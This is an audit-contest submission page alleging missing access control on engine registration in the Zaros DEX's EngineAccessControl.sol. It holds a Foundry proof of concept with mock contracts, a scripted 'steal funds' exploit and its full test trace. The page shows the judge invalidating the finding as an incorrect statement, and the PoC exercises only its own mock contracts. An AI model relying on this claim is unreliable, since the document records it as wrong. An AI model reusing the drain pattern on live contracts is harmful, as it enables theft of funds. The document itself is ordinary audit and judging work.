Part 2

Zaros
PerpetualsDEXFoundrySolidity
70,000 USDC
View results
Submission Details
Severity: high
Invalid

Unauthorized Engine Access in EngineAccessControl.sol

Summary

The EngineAccessControl.sol contract lacks proper access controls on engine registration and market engine assignment, allowing attackers to gain unauthorized privileged access and steal funds

Vulnerability Details

In EngineAccessControl.sol, the onlyRegisteredEngine modifier verifies two conditions:

  1. Caller is a registered engine

  2. Caller is the assigned engine for the given market

However, there are no access controls on:

  • Registering new engines via registerEngine()

  • Setting market engines via setEngine()

This allows attackers to:

  1. Register themselves as an engine

  2. Set themselves as a market's engine

  3. Gain unauthorized access to privileged functions

  4. Steal market funds

    /// @notice Modifier to check if the caller is a registered engine.
    modifier onlyRegisteredEngine(uint128 marketId) {
    // load market making engine configuration
    MarketMakingEngineConfiguration.Data storage marketMakingEngineConfiguration =
    MarketMakingEngineConfiguration.load();
    // if `msg.sender` is not a registered engine, revert
    if (!marketMakingEngineConfiguration.isRegisteredEngine[msg.sender]) {
    revert Errors.Unauthorized(msg.sender);
    }
    // load market
    Market.Data storage market = Market.load(marketId);
    // if `msg.sender` is not the market's registered engine, revert
    if (market.engine != msg.sender) {
    revert Errors.Unauthorized(msg.sender);
    }

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract MarketMakingEngineConfiguration {
mapping(address => bool) public isRegisteredEngine;
mapping(address => bool) public isSystemKeeperEnabled;
function registerEngine(address engine) external {
isRegisteredEngine[engine] = true;
console.log("Engine registered:", engine);
}
}
contract Market {
mapping(uint128 => address) public engines;
uint256 public totalFunds = 100 ether;
function setEngine(uint128 marketId, address engine) external {
engines[marketId] = engine;
console.log("Engine set for market", marketId, ":", engine);
}
function getEngine(uint128 marketId) external view returns (address) {
return engines[marketId];
}
function stealFunds(address attacker) external {
console.log("Funds stolen by:", attacker);
console.log("Amount stolen:", totalFunds / 1e18, "ETH");
totalFunds = 0;
}
}
contract EngineAccessControl {
MarketMakingEngineConfiguration public immutable ENGINE_CONFIG;
Market public immutable MARKET;
constructor(MarketMakingEngineConfiguration _engineConfig, Market _market) {
ENGINE_CONFIG = _engineConfig;
MARKET = _market;
}
modifier onlyRegisteredEngine(uint128 marketId) {
if (!ENGINE_CONFIG.isRegisteredEngine(msg.sender)) {
revert("Unauthorized");
}
if (MARKET.getEngine(marketId) != msg.sender) {
revert("Unauthorized");
}
_;
}
}
contract VulnerableEngineAccess is EngineAccessControl {
constructor(MarketMakingEngineConfiguration _engineConfig, Market _market)
EngineAccessControl(_engineConfig, _market) {}
function exploit(uint128 marketId) external {
console.log("\n=== Starting Exploit ===");
console.log("Attacker address:", msg.sender);
console.log("\nStep 1: Register attacker as engine");
ENGINE_CONFIG.registerEngine(msg.sender);
console.log("\nStep 2: Set attacker as market engine");
MARKET.setEngine(marketId, msg.sender);
console.log("\nStep 3: Steal funds using privileged access");
MARKET.stealFunds(msg.sender);
console.log("\n=== Exploit Complete ===");
}
}
contract EngineAccessControlTest is Test {
VulnerableEngineAccess private engineAccess;
MarketMakingEngineConfiguration private engineConfig;
Market private market;
address private attacker;
uint128 private marketId;
function setUp() public {
engineConfig = new MarketMakingEngineConfiguration();
market = new Market();
engineAccess = new VulnerableEngineAccess(engineConfig, market);
attacker = makeAddr("attacker");
marketId = 1;
console.log("\n=== Test Setup ===");
console.log("Initial market funds:", market.totalFunds() / 1e18, "ETH");
}
function testUnauthorizedAccess() public {
vm.startPrank(attacker);
engineAccess.exploit(marketId);
vm.stopPrank();
assertEq(market.totalFunds(), 0, "All funds should be stolen");
}
}

PoC Result:

forge test -vvv --match-test testUnauthorizedAccess -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/EngineAccessControl.t.sol:EngineAccessControlTest
[PASS] testUnauthorizedAccess() (gas: 77108)
Logs:
=== Test Setup ===
Initial market funds: 100 ETH
=== Starting Exploit ===
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 1: Register attacker as engine
Engine registered: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 2: Set attacker as market engine
Engine set for market 1 : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 3: Steal funds using privileged access
Funds stolen by: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Amount stolen: 100 ETH
=== Exploit Complete ===
Traces:
[928793] EngineAccessControlTest::setUp()
├─ [116363] → new MarketMakingEngineConfiguration@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
│ └─ ← [Return] 581 bytes of code
├─ [316835] → new Market@0x2e234DAe75C793f67A35089C9d99245E1C58470b
│ └─ ← [Return] 1472 bytes of code
├─ [295968] → new VulnerableEngineAccess@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
│ └─ ← [Return] 1476 bytes of code
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [0] console::log("\n=== Test Setup ===") [staticcall]
│ └─ ← [Stop]
├─ [294] Market::totalFunds() [staticcall]
│ └─ ← [Return] 100000000000000000000 [1e20]
├─ [0] console::log("Initial market funds:", 100, "ETH") [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
[81908] EngineAccessControlTest::testUnauthorizedAccess()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [65852] VulnerableEngineAccess::exploit(1)
│ ├─ [0] console::log("\n=== Starting Exploit ===") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [0] console::log("Attacker address:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 1: Register attacker as engine") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [23050] MarketMakingEngineConfiguration::registerEngine(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Engine registered:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 0x95e39942d3d4e3c52b847ed093f9085ab6d2d9a023036bf9d1450847eda30f16: 01
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 2: Set attacker as market engine") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [23564] Market::setEngine(1, attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Engine set for market", 1, ":", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 0xada5013122d395ba3c54772283fb069b10426056ef8ca54750cb9bb552a59e7d: 00x0000000000000000000000009df0c6b0066d5317aa5b38b36850548dacca6b4e
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\nStep 3: Steal funds using privileged access") [staticcall]
│ │ └─ ← [Stop]
│ ├─ [6901] Market::stealFunds(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ │ ├─ [0] console::log("Funds stolen by:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ [0] console::log("Amount stolen:", 100, "ETH") [staticcall]
│ │ │ └─ ← [Stop]
│ │ ├─ storage changes:
│ │ │ @ 1: 0x0000000000000000000000000000000000000000000000056bc75e2d631000000
│ │ └─ ← [Stop]
│ ├─ [0] console::log("\n=== Exploit Complete ===") [staticcall]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [294] Market::totalFunds() [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0, "All funds should be stolen") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 937.70µs (660.59µs CPU time)
Ran 1 test suite in 60.01s (937.70µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
=== Starting Exploit ===
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 1: Register attacker as engine
Engine registered: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 2: Set attacker as market engine
Engine set for market 1 : 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Step 3: Steal funds using privileged access
Funds stolen by: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Amount stolen: 100 ETH

Impact

Attackers can gain unauthorized access to privileged engine functions and steal all market funds

Tools Used

Foundry

Manual code review

Recommendations

Add access control to engine registration:

function registerEngine(address engine) external onlyOwner {
isRegisteredEngine[engine] = true;
}

Add access control to market engine assignment:

function setEngine(uint128 marketId, address engine) external onlyOwner {
require(isRegisteredEngine[engine], "Not a registered engine");
engines[marketId] = engine;
}

Consider implementing time-locks for engine changes to provide additional security.

Updates

Lead Judging Commences

inallhonesty Lead Judge
5 months ago
inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.